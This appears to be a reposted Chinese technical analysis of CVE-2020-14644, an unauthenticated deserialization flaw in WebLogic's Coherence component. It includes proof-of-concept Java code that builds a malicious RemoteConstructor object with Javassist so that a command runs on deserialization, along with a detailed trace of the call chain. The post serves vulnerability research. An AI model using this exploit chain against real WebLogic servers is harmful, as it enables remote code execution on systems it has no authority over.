Weblogic coherence组件iiop反序列化漏洞浅析 (CVE-2020-14644)
2020-08-24 11:52:50 Author: xz.aliyun.com(查看原文) 阅读量:451 收藏

2020年7月,Oracle发布了关键升级补丁(Critical Patch Update),其中包含编号为CVE-2020-14644 的漏洞修复。

WebLogic的核心coherence组件存在严重的安全漏洞,可以在无需账户登录的情况下,通过发送精心恶意的IIOP协议数据包,进行反序列化攻击完成远程任意命令执行。

受影响的版本:

  • WebLogic 12.2.1.3.0
  • WebLogic 12.2.1.4.0
  • WebLogic 14.1.1.0.0

漏洞环境:

  • java version "1.8.0_112"
  • WebLogic 12.2.1.4.0(WebLogic 12.2.1.3.0进行测试失败,不知为何coherence组件不完整)
  • IDEA DEBUG
  • 使用github项目进行攻击与分析

看看整个项目的结构:

相关代码包含三个文件:

  • App为攻击项目的入口,POC构造的逻辑,字节码处理等

  • test为包含恶意命令类,会被App进行字节码处理

  • Serializables为序列化工具类

lib库包含两个jar文件,同样需要添加到项目中

WebLogic 12.2.1.4.0可以使用项目自带的,其他的版本最好使用和目标版本一致的

coherence.jar的位置

/Users/rai4over/Oracle/Middleware/Oracle_Home/wlserver/server/lib/console-ext/autodeploy/coherence.jar

wlfullclient.jar需要手动生成

java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar

运行后在会生成wlfullclient.jar,路径为:

~/Oracle/Middleware/Oracle_Home/wlserver/server/lib/wlfullclient.jar

然后可以使用脚本进行攻击,因为有回显的,所以需要运行两次

javassist是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。

Ysoserial在生成Payload中也是使用的javassist类库。

几个重要的Javassist类对象:

  • ClassPool:一个基于Hashtable实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象。

  • CtClassCtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPool获得。

  • CtMethods:表示类中的方法。

  • CtFields:表示类中的字段。

创建ClassPool对象

//ClassPool pool = new ClassPool(true);
ClassPool pool = ClassPool.getDefault();

使用的是默认系统的类搜索路径获取ClassPool对象

添加类搜索路径

pool.insertClassPath(new ClassClassPath(this.getClass()));
//pool.insertClassPath("/usr/local/javalib");

将类搜索路径插入到搜索路径,或者将目录作为类搜索路径

查找并获取CtClass对象

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");

依据keyHash表中查找对应的CtClass对象

CtClass可被修改

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
ctClass.setSuperclass(pool.get("XXXXXX"));

修改并设置父类

byte[] b = ctClass.toBytecode();

获取修改后的字节码

Class clazz = ctClass.toClass();

转换成Class对象

为了方便分析,可以简化攻击代码,本地模拟序列化和反序列化的过程,完成攻击。

test1.java

package org.unicodesec;

import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;

import java.io.IOException;
import java.rmi.RemoteException;


public class test1 implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {


    public test1() throws IOException {
        String cmd = "touch /tmp/rai4over";
        Runtime.getRuntime().exec(cmd);

    }


    @Override
    public RemoteConstructor getRemoteConstructor() {
        return null;
    }

    @Override
    public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

    }

    @Override
    public void setServerLocation(String s, String s1) throws RemoteException {

    }

    @Override
    public String getServerLocation(String s) throws RemoteException {
        return null;
    }
}

test1实现com.tangosol.internal.util.invoke.RemotableClusterMasterRemote接口,并且在无参数的构造函数中包含执行的命令。

RCETEST.java

package org.unicodesec;

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;

public class RCETEST {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
        ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test1.class);
        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(org.unicodesec.test1.class.getName());
        ctClass.replaceClassName(org.unicodesec.test1.class.getName(), org.unicodesec.test1.class.getName() + "$" + classIdentity.getVersion());
        RemoteConstructor constructor = new RemoteConstructor(
                new ClassDefinition(classIdentity, ctClass.toBytecode()),
                new Object[]{}
        );
        byte[] obj = Serializables.serialize(constructor);
        Serializables.deserialize(obj);
    }
}

大致为使用javassist修改恶意的test1.java的字节码文件,这里和ysoserial-payloads-CommonsCollections2的操作是一个套路,装入恶意的RemoteConstructor对象并序列化,然后反序列化触发。

开始分析POC的构造,首先是new ClassIdentity(org.unicodesec.test1.class),将恶意test1的class作为参数传入创建ClassIdentity对象。

com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class<?>)

clazz.getPackage().getName().replace('.', '/')获取包名并替换后为org/unicodesec

clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1)获取类名并截取后变为test1

Base.toHex(md5(clazz))为MD5值81646C2598E743F9FE254AB93A0FBE14

然后传递到另一个构造参数。

com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.String, java.lang.String, java.lang.String)

分别赋值给m_sPackagem_sVersionm_sBaseName成员,然后返回ClassIdentity类的实例化对象。

接着创建ClassPool对象,org.unicodesec.test1.class.getName()也就是test1,修改类名为org.unicodesec.test1$81646C2598E743F9FE254AB93A0FBE14,接着将修改后test1的字节码和生成ClassIdentity对象作为参数创建ClassDefinition对象。

com.tangosol.internal.util.invoke.ClassDefinition#ClassDefinition(com.tangosol.internal.util.invoke.ClassIdentity, byte[])

将传入的ClassIdentity对象和test1字节码文件分别存储,然后还获取了ClassName并进行长度判断。创建的ClassDefinition对象又会作为参数创建RemoteConstructor对象。

com.tangosol.internal.util.invoke.RemoteConstructor#RemoteConstructor(com.tangosol.internal.util.invoke.ClassDefinition, java.lang.Object[])

第二个参数是空的,整个RemoteConstructor对象结构如下:

RemoteConstructor对象中包含创建和修改的各个对象。

整个恶意类接下来就是使用Serializables工具类序列化RemoteConstructor对象,然后模拟Weblogic中IIOP通讯,反序列化该对象。

com.tangosol.internal.util.invoke.RemoteConstructor#readResolve

和之前常见的java反序列化readObject作为入口不同,这次的问题出在用于检查反序列化对象是否唯一readResolve(单例模式),然后调用newInstance

com.tangosol.internal.util.invoke.RemoteConstructor#newInstance

获取继承ClassLoader对象的RemotableSupport对象,然后将RemoteConstructor传入support.realize函数。

com.tangosol.internal.util.invoke.RemotableSupport#realize

首先constructor.getDefinition()获取了ClassDefinition对象,然后传入registerIfAbsent函数

com.tangosol.internal.util.invoke.ClassDefinition

根据IDClassDefinition对象存储在MAP类的this.f_mapDefinitions中,然后返回ClassDefinition对象

com.tangosol.internal.util.invoke.RemotableSupport#f_mapDefinitions

返回到realize,然后调用definition.setRemotableClass(this.defineClass(definition)),先看this.defineClass

com.tangosol.internal.util.invoke.RemotableSupport#defineClass

com.tangosol.internal.util.invoke.ClassDefinition#getBytes

definition.getBytes()会返回test1的字节码

java.lang.ClassLoader#defineClass(java.lang.String, byte[], int, int)

RemotableSupport对象利用继承ClassLoaderdefineClass方法加载test1的字节码,返回test1-Class对象传入definition.setRemotableClass方法。

com.tangosol.internal.util.invoke.ClassDefinition#setRemotableClass

test1-Class对象存入ClassDefinition对象的m_clz,然后通过getDeclaredConstructors获取test1的构造函数数组。

构造函数数量为1,进入if分支,使用MethodHandles查找类中的构造方法,并存储到m_mhCtor成员。

java.lang.invoke.MethodHandles.Lookup#findConstructor

返回到realize函数,调用definition.createInstance函数

com.tangosol.internal.util.invoke.ClassDefinition#createInstance

这里是一个链式调用,跟进this.getConstructor

com.tangosol.internal.util.invoke.ClassDefinition#getConstructor

会返回存储test1构造函数的MethodHandle对象,构造函数中包含恶意命令,然后反射执行构造函数,完成任意命令执行,此时的调用栈为:

exec:347, Runtime (java.lang)
<init>:15, test1$81646C2598E743F9FE254AB93A0FBE14 (org.unicodesec)
newInvokeSpecial__L:-1, 36333492 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 55909012 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 2083117811 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 157683534 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1148, ObjectStreamClass (java.io)
readOrdinaryObject:1817, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:27, Serializables (org.unicodesec)
deserialize:22, Serializables (org.unicodesec)
main:22, RCETEST (org.unicodesec)

https://www.oracle.com/security-alerts/cpujul2020.html

https://www.cnblogs.com/ph4nt0mer/p/13469690.html

https://paper.seebug.org/1281/


文章来源: http://xz.aliyun.com/t/8155
如有侵权请联系:admin#unsafe.sh